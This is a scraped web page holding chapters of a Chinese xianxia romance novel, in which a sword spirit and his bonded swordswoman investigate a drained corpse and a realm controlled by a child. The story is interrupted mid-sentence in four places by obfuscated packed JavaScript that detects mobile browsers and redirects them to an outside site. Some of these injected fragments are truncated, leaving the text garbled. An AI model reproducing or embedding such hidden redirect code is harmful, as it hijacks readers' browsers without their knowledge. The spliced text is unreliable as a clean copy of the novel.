叶琛眨了眨眼,迅速反应过来:“你是说,韩子仪在说谎?” 洗霜微微摇头:“是不是谎言未可知,如果一个人对自己所说的话深信不疑,这还算谎言吗?” 叶琛深吸一口气,想了想,道:“也是,他没必要在这种地方撒谎,他说自己很多事都不记得了,那记错了也未可知,我倒是更怕另一种可能。” 她微微垂下眼,浓密的睫毛在眼底投下一圈阴翳, “洗霜,你说秘境中会不会还有另一个人。韩子仪说这个秘境是因为有人做了错事,可韩子仪那个样子,我实在想不出他能做什么,但如果他只是被推到台前的那个人呢?” 叶琛想了半天,并没能想出个所以然来,叹息道:“总之,你我都当心些吧。” 不管怎么说,韩子仪确实帮她恢复了和洗霜的联系,叶琛不愿意把他想得太坏,问道:“既然你已经能感应到洗霜剑,能顺着这联系找到我们吗?” 韩子仪在剑上轻轻一点,就打破了秘境对两人的阻隔,虽然只是能通讯,但叶琛觉得,这就像一个鸡蛋只要开了条缝,迟早整个蛋黄都会流出来的。 半晌,洗霜道:“给我一些时间。” 叶琛轻轻“嗯”了一声,又听到洗霜道:“以后......不要把剑抱在怀里,你换个姿势。” 叶琛本来躺在床上,剑一半搁在胸前,一半斜斜倚出腿侧,本想和洗霜说完话就睡觉,闻言,马上从床上坐起来,疑惑道:“为什么?” 几朵霜花从剑尖飘出,在她指尖打转,美丽极了,叶琛抓住它们:“你这剑还会飘花呢,可见它喜欢我这么抱着。” 洗霜沉默半晌,声音有点闷:“剑哪来的喜不喜欢,你放桌上一样会飘花。” “不,我早上试过的。”叶琛摇头,“韩子仪在的时候,它就只结冰,不飘花。” 她“嘶”了一声,忽然开口:“洗霜,你不让我用这个姿势,不会是因为......” “......因为什么。” 叶琛却安静下来,不说话了,直到这沉默让另一边都有些不安的时候,她才爆发出一阵笑声, “那得问你了,我又不是你,我怎么知道。” 笑完,叶琛感觉自己仿佛又回到了前世刚从万剑阁求剑回援的日子,去时只顾着担心妖鬼和师门,回来时一颗心倒是落了地,身边这位剑首又实在好玩,一路上总是她笑出了泪花,洗霜木然看着她笑。 抬眼,看到所住客房低矮的天花板,叶琛总算收住笑:“好啦,不逗你了,我下次不抱着剑就是了。” 洗霜听到她收剑回鞘的声音,不久,那边就传来一阵轻浅绵长的呼吸声。 他听了一会儿,掌心收紧,剑柄一瞬化为星星点点的光末,散落一地。 他这时才放松下来,倚靠着古木憩息,气息清冷而紊乱。 洗霜垂下眼帘,盯着自己手背看了一会,无数道斑驳的红痕从肌肤下生出、延展,如冬日缀满枝头的红梅,天光雪色相映,那糜烂的落寞的红,也成了天地间唯一一道姝色。 剑灵和自己的剑之间有很深的羁绊,他可以感应到剑在哪里,也可以相隔千里指挥自己的剑,而更为深重隐秘的一点羁绊......是剑会将自己的所有触觉传回本尊。 洗霜白日听完了韩子仪和叶琛的交谈,晚上又听到客栈里细碎的吵闹声,他通过这些确定了叶琛几人的情况,却没想到自己差点栽在这件事上。 剑被她随意搂在怀里,她身上滚烫的温度从剑身传来,像一壶开水浇在冰雪上,咕噜咕噜冒着热气。 他感觉自己又要被她捂化了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448023|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他靠着树,阖上双眼,剑身传来的灼烫触感仍久久无法褪去,于是很快他又睁开了眼,发觉这实在不是个好办法—— 屏蔽视觉后,身体的其他触觉分外显著,无法视物,身上每一寸肌肤都传来近似于烧灼的痛感,可又并不是完全在痛的,甚至,他觉得这痛楚里弥漫着一种隐秘的快感。 其他结过剑契,或者自己的剑被别人拥着的时候,也有这种感觉吗? 洗霜想了想,又觉得或许只是自己材质特殊,他本体是千年玄冰铸成的灵剑,不惧霜寒,却不喜炎热,他总觉得叶琛太烫了,但她的烫又和酷暑不同,是温温吞吞的灼热,像水一样。 下次见面,要告诉叶琛不要乱摸他的剑...... 他如此想。 * 叶琛今晚又做了一场梦。 她身体变得小小的,坐在河边拿棒槌捶打衣服。 叶婆婆嫌她洗得慢,把她盆里的衣服拿了一半到自己盆里,边洗边讲她:“阿珍啊,你洗得这样慢,以后找了婆家,要嫌你的。” 叶琛眨着乌黑的眼睛,道:“我不找婆家就是了,我在这里陪婆婆一辈子。” 叶婆婆手上的动作停下来,脸上皱纹像包子的褶,她瞪大了眼睛, “哪有姑娘不找婆家的?你没有丈夫就没有家,我老了靠谁去?阿珍啊,做人不能没良心,我把你从河里捡回来养大,也就指望你给我养老送终了。” 叶琛想了想,问道:“那叶婆婆,你的丈夫去哪了呢?” 叶婆婆朝河里啐了一口唾沫:“死啦!” 于是叶琛笑起来,说:“那我也找一个早死的丈夫,他死之后,我一个人也能给婆婆养老送终。” 叶婆婆犹疑地盯着她看,最后说:“阿珍,你要记得你今日说过的话,我养你大,你养我老,这是你欠我的。” “好,这是我欠婆婆的!”叶琛笑着附和道。 可是叶婆婆没能活过她六岁那年的冬天,也没能看到叶琛打算克死的三个丈夫,叶琛就被来河边找药草的老头捡了回去。 她被绑在一张椅子上,脚够不着地面,怎么挣扎也只是让椅子发出“噔噔”的响声。 老头熬了新药,对她说:“今天这碗加了刺棠花,这可是难得的东西,好孩子,快让我看看效果。” 一碗乌漆嘛黑的汤药灌入叶琛咽喉。 刺棠花有一股淡淡的腥臭味,被辅料的药味遮掩过去,但一入喉,马上变得腥臭难当。 叶琛被这阵臭味沤醒过来。 神思恍惚间,她忍不住伸手去抓身边最熟悉的物什,摸到了一把剑。 拔剑出鞘,剑光雪白,霜华流转,地面顿时结了一层冰。 那股腥臭味却还是萦绕在鼻尖,经久不散。 这时候叶琛已经清醒许多,理智回笼,她发现这阵臭味并不是刺棠花的,而是隔壁传过来的,不多时,她听见许多扇窗户打开的声音。 有人骂道:“哪个畜生大半夜拉屎!艹,滚出来让你爹给你塞回去!” 又有人弱弱道:“好像......不是屎味啊,像是什么东西腐烂的味道。” 客栈内一阵喧嚣,楼下很快亮起灯,有晚上值班的小二上来处理。 叶琛攥紧剑柄,指骨僵硬发白,剑中传来一道清冷的嗓音, “你那里为什么这样吵?” 叶琛盯着从门前拖拽而过的尸体,沉默半刻,轻声道:“因为死人了。” 16. 十六 一楼,灯火通明,干涸的血迹一路拖拽下楼,尸体被扔进临时拖来的酒坛里,一条手臂没能塞进去,以诡异的角度弯折,花枝般斜斜插在坛口。 叶琛小心避开地上脏污,台阶走到一半,听到下面爆发出一阵争执。 白日刚见过的青衣修士站在台阶边,他身边围着零散几人,叶琛经过时不经意瞧了一眼,都是白日一同商讨如何对付韩子仪的人。 “我师弟一生行善积福,一心修道,未曾料想今日竟遭此横祸。”青衣修士哀痛地指着一边的酒坛子,涕泪涟涟,“清虚长老,我修行千年,身边也就这么一个师弟放不下,如今他为人所害,我是无颜见他父母了。” “别说您了,我见了这事都毛骨悚然,那贼子害死灵山上千修士不说,如今竟如此嚣张,先重伤清虚长老,后用如此残忍的办法害死我师父。师伯,能不能抓住这贼还望您呢,您可得保重身体。” 说话的是个年轻的小弟子。他搀着悲伤过度的青衣修士,小声相劝,关怀备至,眼睛却不住飘向一边的酒坛。 他害怕那东西。 叶琛心中一动,目光转开,酒坛边斜斜伸出一只枯瘦的手,那只手如同被抽干了水分一般,皮皱巴巴地黏在手骨上,表面浮出黄褐色的尸斑。 什么死法能让人像是被吸干精气而死的? 更何况这人还是个灵境修士! “阿珍,你离那东西远点。” 眼看叶琛往酒坛走了几步,又走了几步,灵犀眉心一跳,不知从哪游蛇般蹿出来,拽住她:“那东西多危险,一看就不是好东西,你还上赶着凑热闹!” 叶琛回过神,发现自己竟然离那只手只有几尺远,皱起眉拉远距离,又是疑惑:“我怎么到这来了?” 她刚刚,明明还在想什么东西可以吸干人的精气啊。 “你在哪里。”另一道冷如霜雪的声音从腰侧佩剑中传来。 叶琛还没开口,灵犀已经替她回答:“没事啦,她刚刚着了道,差点摸了别人的手,不过现在已经没事了。” 对面沉默片刻,语气微妙。 “叶琛,你不像会随便摸别人手的人。” 叶琛眨了眨眼,解释道:“我也不是谁的手都摸的......哎我的意思是,那只手是死人的手。” “......” 剑中传来一声意味不明的嗤笑。 “原来如此。” 叶琛:“......嗯。” 好像更糟糕了。 叶琛挠了挠头,觉得这事解释起来真就是小孩没娘说来话长了,斟酌片刻,只好低声道:“我也是现在才知道,昨晚住我隔壁的竟然就是白日和韩子仪一道的人,一墙之隔,一个灵境修士竟就在我眼皮子底下被杀了,他的死法还相当诡谲,像是被什么东西凭空吸干了一样。” 她顿了下,不太确定:“好像,是画皮鬼。” 叶琛前世斩杀妖鬼数以万计,杀得多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶琛点头,语调随即有些微妙:“这也是我最想不通的一点,那人灵境修士想杀就杀,却在第一次刺杀韩子仪未果后再未动手,是不是有些太......” “太刻意了。”灵犀接话道。 天边响起一声惊雷,秘境中正值夏季,很快就有豆点大的雨水泼落,这声响刚刚落下,灵犀就早有准备地撑开了手中油伞,三人头顶被伞盖遮住,前面的修士就没这么好运了,韩子仪身上衣衫绘有阵法,金色咒文龙鱼般流转,形成一个一人大小的防护罩,其余人则是都成了落汤鸡。 然而没有人顾得上躲雨,那声闷响如一道隐秘的前哨,乌云聚拢一瞬又自动散开,仿佛跨过一道无形的结界,叶琛明显感觉此地的灵气比其他地方浓郁许多。 抬眼,山色苍翠,终年无冬。 灵山,到了。 * 守在灵山界碑前的弟子抹了把眼睛,终于相信眼前所见不是自己的错觉,叶琛把问题重复了三遍,他才支支吾吾回答:“我们乐师姐说,此处秘境由天音楼处置,诸位,请回吧。” 他局促得紧,叶琛眼皮微掀,上下打量他几眼,笑道:“前面韩前辈他们进去的时候,你不见拦,偏偏拦着我们,算怎么回事。” 灵犀在旁帮腔:“就是,天音楼就可以仗势欺人吗?把你们乐师姐叫出来,不,把你们楼主叫来吧,灵山又不是你家的,凭什么不让我们进?” 那弟子就更局促了,掰着手指拧成麻花:“不是......也不是不让你们进......而且你找我们楼主算怎么回事,谁不知道我们楼主一直是三千年前飞升的琴圣,谁那么大脸能请动他老人家下凡!” 他越说越觉得自己有理,深吸一口气,挺直胸脯:“反正,今日灵山的事,天音楼是管定了,我们乐师姐已经设下结界,除非她亲自允准,其他修士无法入内。我也不希望看到你们被弹出去。” 界碑前,灵力形成的无形光幕流转,特定角度下,能看到灵压如水波般缓缓流淌的纹路。 “这......”宋以安抿了下唇,下意识看了叶琛一眼,从前和季知年出门时,他总是教她与人为善,如果是季知年在这里,多半会晓之以理动之以情,和这弟子掰扯许久。 她又大多时候一心练剑,不善于处理这种要和人打交道的情况,如果季知年要这么做,她就会默认在旁等他处理,但是现在做这件事的变成了叶琛。 叶琛会怎么做呢? 她轻轻眨了下眼。 叶琛眼看韩子仪和那群修士越走越远,几乎要消失成一个黑点,抬眼,望着面前缓缓流淌的无形光幕,忽地笑了。 一道银白剑光携着雪粒霜风从耳边呼啸而过,水汽遇冷凝结,界碑前,那弟子还没看清这快如闪电的剑光,从睫毛到嘴角,纷纷挂了一层细如银针的冰挂。 叶琛收剑回鞘,压了压唇角:“现在可以进了。” ...... “结界破了?” 乐知似有所感,放下手中玉牌,发现天际划过一道霜白剑意,灵气形成的光幕被那道剑意划破、撕碎,灵气汇聚成一道波澜泛起的河流,随即从高空陨落。 “师姐,你的结界被打破了。”她身侧一个紫衣少年靠树而立,懒洋洋地拉长调子,刚睡醒似的,“我早就说封锁灵山,在这等褚师兄的主意不靠谱,被拉入秘境的修士,总会有一个恰好也在灵境,能打破你的结界的。” 乐知蹙了下眉,声线如碎珠落玉,字字清透:“灵境修士举世无几,对我们来说更是助力,我下结界本就不是为了防他们,是怕有境界低微的修士闯入,坏了我们的事。” “好,那让我看看这个举世无几的灵境修士,长什么样子,可别是个丑人——哟,来了。”紫衣少年站直身子,双腿交叠,望向不远处来人,挑眉,“嘿,长得——真水啊。” 乐知微愣,知道自己这个师弟最为看重容貌,自己更是天生丽质,能得他一句夸赞并不容易,随即望向来人—— 派去守界碑的弟子耷拉着脑袋,愁眉苦脸,他身后三个女子信步走来,左边的一身毓秀之气,右边的眉目沉稳,但一眼望去,乐知便知道自己师弟指的只能是中间那人。 这少女长发利落地束起,乌发尾梢微微濡湿,脸上细小的绒毛挂着一层雾似的水珠,在阳光下折射出绚丽的光泽。 像初夏才露尖角的芙蕖。 乐知很快注意到她提剑那只手手腕上系着一串霜花,霎时联想到来程的马车,直接发问:“就是你打破了结界?” “欸,打破了也不要紧,一个结界而已,多大事。”叶琛还没说话,那紫衣少年摆了摆手,颇新奇地打量她,“这位姑娘......或者我喊姐姐?你姓甚名谁,家住何方?还有......” 他抹唇一笑:“你已有婚配了吗?” 这少年问得唐突,却不招人讨厌,笑容灿烂得如三月春花,满是纯真之意。 “叶琛。”叶琛看他一眼,收敛眉目,很快明白乐知才是话事人,转而对她道:“天音楼在此守了这么久,有眉目了吗?” 乐知看着她手里的剑,想了想,如实答:“尚未。我们守着灵山,一方面为了等人,另一方面也是为了防止境界低微的修士误入,这个秘境的难度至少有幻境,只是目前还没有体现出它应有的难度。” 叶琛皱起眉:“为何说是目前?” “因为此时还没有推演到最关键的情景。”乐知抿了下唇,旋即发现这位新来的灵境剑修似乎有些缺乏常识,多出一句解释,“这个秘境是情景推演型,我们要做的是在这个幻境法修召唤出妖鬼后诛灭它。” 她一只手掌合拢又张开,掌中多出一块水镜,镜面很快显示出几张叶琛熟悉的面孔。 韩子仪似乎在山上选择合适的招魂地点,身侧青衣人嘴唇翕合,废话连篇,韩子仪脸上显出些微的不耐。 叶琛眼眸更深,乌黑的眸子泛起一圈圈墨似的涟漪,沉默半晌,还是道:“什么叫......情景推演?” 紫衣少年笑了一声:“叶姐姐,你师父对徒弟也太不上心了,什么都不教的吗?秘境分为三大类,一种是情景推演,秘境中会不断重复同一段过往,进入秘境的人无法介入,只能在最后的结果出现时与其对抗。其余两种类型,一种是单纯的从头杀到尾,还有一种相当罕见,据说只在四圣留下的洞府里有,这也是传说了。” 他炮弹般说完这些话,调皮地眨了眨眼:“怎样,叶姐姐,你要是尚未有师父,来我们天音楼,还能做我师姐。” 他眼珠呈清亮的琥珀色,睫毛浓密而卷翘,微微弓起腰,好像大猫一样盯着叶琛看,被灵犀侧身挡住视线:“行了,我们阿珍有人教的,教她剑术的是万剑阁剑首,天音楼连把剑都没有吧,你就敢来推?” 乐知目光从叶琛的剑上移开,若有所思:“我前些日子的确听说万剑阁阁主现身兰溪,如今竟也来浮屠塔了吗?但你们既然不在一道,想必也是不得已分开了。” 叶琛点头,又听到她道:“既如此,此地能用的只有你我二人了,叶姑娘,你如今是灵境几段?” 叶琛老实答:“前几日刚破筑境。” “哦,筑境,那也......等等,筑境?!”乐知眉头一拧,脸上顿时出现很难以言喻的神情,嘴角扯了扯,半天才压抑住自己脸色,“你怎可能是筑境?如今大家在同一个秘境里,叶姑娘,你既然能一剑打破我的结界,何必现在假谦虚?” 叶琛提起手中剑,剑身霜花缭绕,寒气逼人:“哦,你说这个?这不是我的修为,是我们剑首的,他修为的确在灵境。” 她歪头望着乐知眼底压抑的怒气,满是不解。 这有什么可生气的,而且是突然就气起来了,生气她打破了结界?可方才那少年明明还说没关系的。 啊,天音楼的人心思比洗霜还难猜。 乐知顿时觉得自己没有和她多话的必要,一个筑境修士能干什么,怕是真打起来她还得护着。倒是她那把剑,乐知心里又翻涌起无名的怒气,许多是冲着那位未曾谋面的剑首的—— 这是能给小孩子的玩具吗?人人都像他这样,乱给小辈法宝利器,仙门得被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504859|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅成什么样? 仙门中人以修为论排行,筑境在乐知眼中,也确实是小辈了。她听完叶琛的剑是万剑阁剑首的,脑中迅速便串起了一个熟悉的故事——怕又是长辈溺爱,小辈心里也没数,拿着这剑到处跑,还真就闯进她的结界里来了。 乐知叹了口气,当下也懒得多说,把叶琛几人甩给紫衣少年,自己带着几个弟子上了山。 “我师姐就是这样的,叶姐姐,你别和她计较。”紫衣少年冲叶琛眨了眨眼,调笑道,“你胆子怎么这样大,刚破筑境就敢在佛宝的秘境里乱闯,不过我师姐说这个秘境是以五百年前灵山惨案为原型构建的,当年那位修士招错了魂,让妖鬼重现于世,等这一两日招魂完成,我们除掉那妖鬼,秘境便解了。” 他又笑嘻嘻地凑上来:“叶姐姐,出去后要不要和我们去天音楼玩?我们那四季如春,不像北边这么冷,一年到头都是好时节!” 灵犀把他挡回去:“我们阿珍不会和你去的,你死了这条心吧。” 叶琛不太在意这两人之间的拌嘴,抬眼,天色逐渐暗下来,灵山笼罩在一片昏沉的夜色之中,仿佛从哪个角落里就会蹿出吃人的妖鬼,天完全黑透了的时候,乐知带着几个弟子回来了。 她脱下湿了一半的外衣,夜深露重,山上草木挂着潮湿的寒气,乐知压了压唇角,道:“招魂阵法已经完备,约莫就是这一两日了,今晚还是得有人守着山上,那妖鬼一旦被召出,我们便立刻诛灭它。” 她挥手让今早跟着自己上山的几个弟子去休息,目光略过紫衣少年,看向其余天音楼中人,刚启唇,就被少年打断:“乐师姐,我去吧,这里其余人修为都不及我,我和你也只差两个小境界而已,一个晚上还是能对付的。” 乐知眉尖蹙起:“这次情况不同,褚良玉,你在山下安分呆着,别给我添麻烦我就谢谢你了。” 褚良玉扬眉道:“如何情况不同,因为这次是诛灭妖鬼吗?我身上虽有一半妖鬼血脉,却是师姐你一手带大的,难道我会为了半个同族临阵倒戈?” 闻言,叶琛三人不约而同看向这位“妖鬼血脉”。 褚良玉和乐知争执之时,还没忘回头朝叶琛眨了眨眼,神情轻佻戏谑,叶琛这才发觉这少年确实太漂亮了些,是一种近乎妖异的俊美。 褚良玉轻轻叹了口气,将一件干燥的外衣披上她肩头:“师姐,我去吧,你累了好几天了,别逞强了。” 乐知嘴角抽了抽,最终坐下来,接受了他这番好意。 褚良玉带了几个相熟的天音楼弟子上山,叶琛几人商量后,灵犀主动要求一同上山。如此,山下便只剩下叶琛、宋以安,还有乐知为首的天音楼众人。 褚良玉走后,乐知还是不太放心,思索良久,和一个弟子耳语片刻,那弟子神色不解,但还是领着任务跑远了。 直到月过中天,灵山还是一片静谧,许多弟子在树下歪七扭八睡成一片,乐知却始终清醒,同样醒着的,还有叶琛和宋以安二人。 叶琛一日没有吃饭,此时有些饿,打开自己的包袱想找点吃的,蓝色花布解开,露出一包包好的猪肉脯,她怔愣片刻,随即拆开这包肉脯,又分了一些给宋以安。 一包肉脯吃下去一半,叶琛看了一眼乐知,提起话题:“你们在这守了几天了?” 乐知睨她一眼,出于礼貌回答:“五日。” 叶琛:“我们进来却只有两日。” 乐知眨了眨眼,很快觉察出问题:“你是说,我们的时间流速不一致。” 叶琛将剑横陈在腿上,借剑身寒气驱赶夏夜蚊虫,微微摇头:“恐怕不止如此,不同区域的时间流速可能都不一致。你我如今在灵山,我们剑首却在浮屠城打转,他那边才过一天一夜。” 乐知眉头越皱越紧,面无表情地打死几只不知死活的飞虫,脑中几条线索几乎要汇成一线,刚要开口,就听见叶琛那边响起锵锵的刀剑声。 叶琛腿上,剑身发出细微的嗡鸣,在她腿上不住抖动,她握住剑柄,拔剑出鞘,那响动才堪堪停止。 然而剑中却传来了更刺耳的声音——叶琛清晰地听见,一道利刃刺入肉.体的闷响,随即响起一声轻微的闷哼,叶琛睫毛急促地扑闪两下,脱口而出:“你受伤了?” 宋以安离叶琛很近,也听见这声响,面露焦急,同时道:“师兄,你没事吧?” 18. 十八 “我没事。”剑那头传来季知年急促的喘息声,随即一道笛声如泣如诉,声声透骨,宋以安便知道自己这位师兄怕是被逼到了极处,深深皱起眉:“季师兄,你那边发生什么事了?” 叶琛也想问这句话,但此刻她更在意是,什么东西能把洗霜和季知年二人逼到这种地步,洗霜竟分身乏术到一个“嗯”都没空回她。 另一边,打斗声伴随着尖锐的哀鸣声沿着剑传入叶琛耳中,叶琛竖起耳朵听那边隐约的长剑嗡鸣声,在心里比照着想出一招一式,从而判断战况变化,后面哀鸣声越来越弱,过了许久,终于慢慢止歇。 叶琛听完全程,唇角绷成一条直线,神情严肃:“你们在和食魂鬼打?” 季知年愣了下:“什么鬼?” “是食魂鬼,大约有上千个,听同一人指挥。”洗霜回答,他声音有些哑,平素冷硬的嗓音却因此听起来柔和许多,像开春化了一半的冰盖。 叶琛眉尖蹙起,半天没有说话,又听到洗霜道:“操控它们的,是一个小女孩。” ...... 一个时辰前。 晨光刚刚亮起时,浮屠城也逐渐醒了过来。 车马声、叫卖声在这座城中穿梭,如果不是路过的行人根本不会对洗霜二人有任何反应,乍一看,简直和真实的浮屠城别无二致。 原本洗霜和季知年是打算往灵山走的,但是一旦心里出现这个念头,不是会鬼打墙再次回到浮屠城,就是会不知不觉走进灰色的阴影里,季知年险些又被那些枯瘦的腕足拽进去。 两人站在川流不息的车马中,像被世界遗忘的孤岛,直到前一日的小女孩又抓着一把糖葫芦跌跌撞撞跑过来,但这次她的糖葫芦一串都没有洒,在她跌倒的前一刻,一双寒凉有力的手扶住了她。 女孩恍然抬头,张了张嘴,半天才发出声音:“......谢谢。” 她抱紧怀中几串糖葫芦,脸上表情十分纠结,良久,还是抽出一串递给洗霜:“谢谢哥哥,给你这个。” 洗霜并没伸手去接,眼皮微掀,袖口滚出一颗糖渍山楂,泛白匀称的指节捏着这颗山楂,很快,糖霜上就结了一层冰。 即使和小孩子说话,这人声线也寒霜带雪:“打开此地通往灵山的通道。” 季知年愣了下,目光惊疑不定地看向这个还没自己膝盖高的女孩子,又看回身侧剑首,舔了舔干裂的嘴唇:“剑首,她是......不会吧?” 说着不会,但季知年的神色已然信了一大半,只是他怎么也想不出,才一个照面,洗霜怎么就能如此笃定这个女孩子能操控秘境。 女孩眼瞳依旧天真无邪,歪头看面前两人,弯了弯唇:“大哥哥,你在说什么啊,你是要问去灵山的路吗?” 洗霜摇头,冷淡瞳色映着雪光,深深看了一眼杏眼桃腮的女孩,这孩子生得像个年画娃娃,此时扯着唇角同人嬉笑,不管是谁见了都很难不想把她抱在膝上,把天上的星星月亮都摘给她。 这样颇具欺骗性的一张脸,就算整座浮屠城只有她一个人可以交流,也多半会让人以为这是秘境给出的提示,而不是她就是秘境的主人。 如果不是洗霜曾进过一个类似的秘境,还不会这么快意识到这女孩有问题。 那是前世他和叶琛吵得最凶的时候,他们之间的争执总是围绕着苏二,叶琛是无论如何都不肯放弃他的,于是有一天,叶琛抱着一本手札跑过来,仰头认真地同他说,他们这样吵下去也不是办法,不如解契,各自自由,日后相见还是朋友。 洗霜听她陈述完利弊,沉默半晌,而后道:“修炼进度可以放慢,难以进境可以先不进境,叶琛,你所说的并不成问题。” 他半垂下眼,鸦黑纤长的睫毛遮住霜雪似的瞳光,语调难得清冽柔和。 叶琛乌黑的眼瞳眨了下,欲言又止,最后还是如实告诉他她的打算。 她给他看了手札里的内容,纸页已经泛黄,不知道是哪位大能留下的笔记,记载的是以命换命的办法。 洗霜顷刻便明白了她打的是什么主意,他还没从满心的荒唐中缓过神来,整座屋子已经处处挂满了一人高的冰锥。 叶琛无奈地看着他,满脸写着“你看吧我就知道会这样,还不是得吵”。 屋内到处漫着寒气,饶是叶琛天生不畏寒冷,也因为这阵霜寒搓了搓掌心,鼻尖脸颊都冻得红红的,结了一层细小的霜花。 叶琛等洗霜脸色缓和了些,才缓缓道来:“我总不能欠苏二一条命,也不好欠你这么多,所以我们及时止损,我觉得灵境的修为也不错,我还能活好多年呢,你要是找到了合适的下一任剑主,磨合得不太好,我还能给你们调解。” “总之,我们好聚好散。” 叶琛已然下了决定。 洗霜皱起眉,望着她灵动鲜妍的脸庞,她睫毛上结了一层冰挂,正被她仔细地一根根摘下,整齐地搁在桌案上。 他很不明白。 曾几何时,这个连他的剑都拿不稳的姑娘,已经长成高山霜雪,却要拿自己的余生和全部修为去庇护一个不知道还能活几天的凡人。 苏二就那么好?值得她押上一切去护着他? 洗霜轻哂一声,颇觉荒谬:“所以叶琛,这就是你自毁修为,甘心此生停在灵境的原因?你就......那么喜欢他,喜欢到什么都不顾了也要拿自己换他的命?” “叶琛,你扪心自问,你这样对得起你自己吗?” 叶琛眨眨眼,身体轻轻靠上椅背,椅子上的冰锥瞬时融了大半,她也知道此事自己是没理的,观察洗霜脸色,小声道:“我是对得起自己的,只是觉得对不起你。” 她掰着手指头数数,轻声道来:“你从前和我缔结剑契时,便是因为于灵剑而言,和契合的剑修结契有助修行,但如今我迟迟难以进境,现在也不再打算进境,这契于你而言就只是拖累了。” “我今日和你说这事,你好好想想,我知道我理亏在先,你若是要什么补偿也大可以提。”叶琛吁出一口气,仿佛终于甩掉一个包袱似的,“之后我再仔细找找解契的办法,剑契解起来虽不容易,但终归不是无解的。” 洗霜默然听了许久,鸦黑睫毛挂上数道细小的冰凌,他面无表情地眨掉这些冰凌,起身,拿起桌上的剑就走。 他出门时顿了下,回头,定定看了叶琛一眼,嗓音淬了冰一般:“叶琛,你没什么对不起我的。” 洗霜后来想起这件事,也觉得自己的处置欠妥,走出数百里才想起一个严重的问题——叶琛是怎么找到那本手札的?上古大能的遗物是那么好找的吗?况且记载的还是以命易命这种极为妖邪的法门。 但他那时已经陷入一个秘境中,难以抽身,世间能让他为难的秘境并不多,但那个秘境不一样——那个秘境和琴圣有关。 他刚进入那个秘境的时候,和如今被困在浮屠城极为相似,空间被限,秘境内的人对外来者毫无反应,只有一个长得像只招财猫的富态老爷同他们搭话,告知他们城内有妖鬼藏匿,希望各位仙师施以援手。 其他修士不疑有他,以为这是个任务型秘境,便在城中翻箱倒柜找起妖鬼来,洗霜不擅长找东西,只站在城楼上垂眸看他们找。 谁知就在最后一只妖鬼被捉出来时,猫老爷变成了黑耗子,一道狰狞的黑影从他身体中挣扎而出,顷刻间全城灯火尽灭,无声的黑暗里,不知哪一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511930|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先传来尖锐的嚎叫,整座城池很快陷入连篇战火中。 洗霜当时拿着剑,对付这些黑暗中的东西也相当棘手,秘境外灵境修士已是罕见,但这个秘境中的怪物却个个有灵境甚至幻境的实力,甚至在他同它们缠斗的过程中,耳边不住飘来铮铮琴声,致人迷幻。 等到华灯初上,整座城又亮起来时,洗霜方才发觉,城中其他修士,竟无一人生还。 有些是力竭而亡,有些是落单被妖鬼撕咬而死,但洗霜本身是千年玄冰修出的灵身,不会累也不怕痛,秘境中又是霜雪时节,灵力源源不绝,是以猫老爷又套上人皮,还很诧异地多看了他两眼,而后释然:“你身上有万剑阁的印记,怪不得它们不太想吃你。” “既是剑圣阁中的人,我放你走,以后不要再来了。” 那猫老爷挥了挥手,再一眨眼,洗霜已经在秘境之外,剑身出现蛛网般的裂痕,他不得不回到万剑阁闭关,再次出关,第一个听到的就是叶琛身死的消息。 所以昨日在发现整个浮屠城只有这个女孩能和他们交流时,洗霜几乎是马上就想起了那个棘手的秘境,又想到叶琛如今修为比前世低上许多,若是她所处的秘境突然发难,她该如何是好。 洗霜觉得自己是起了惜才之心,叶琛之外他没见过短短几十年就能突破至灵境的剑修,今生重来,如果她不再和那个凡人搅和在一起,应当是可以在剑道走得很远的。 但再天才,叶琛如今也不过堪堪筑境,就算他把剑给她防身,借她灵力,她也未必能一直高强度运转剑招,前世她有灵境修为被众人围攻尚且不敌,他确实不太放心把刚破筑境的叶琛一个人丢在灵山。 说来说去,他承认,自己没办法不管叶琛死活。 不管是因为曾经朝夕相处百年的情谊,还是他闭关时某一刻猛烈的心悸,洗霜都很不想看到叶琛再死一次。 洗霜闭上眼,鸦色长睫在眼下溢出浓郁的霜雪之意,须臾,冷声道:“你并不是此境的主人,修为只到梵境,何必为人家卖命?打开去灵山的通道,我不杀你。” 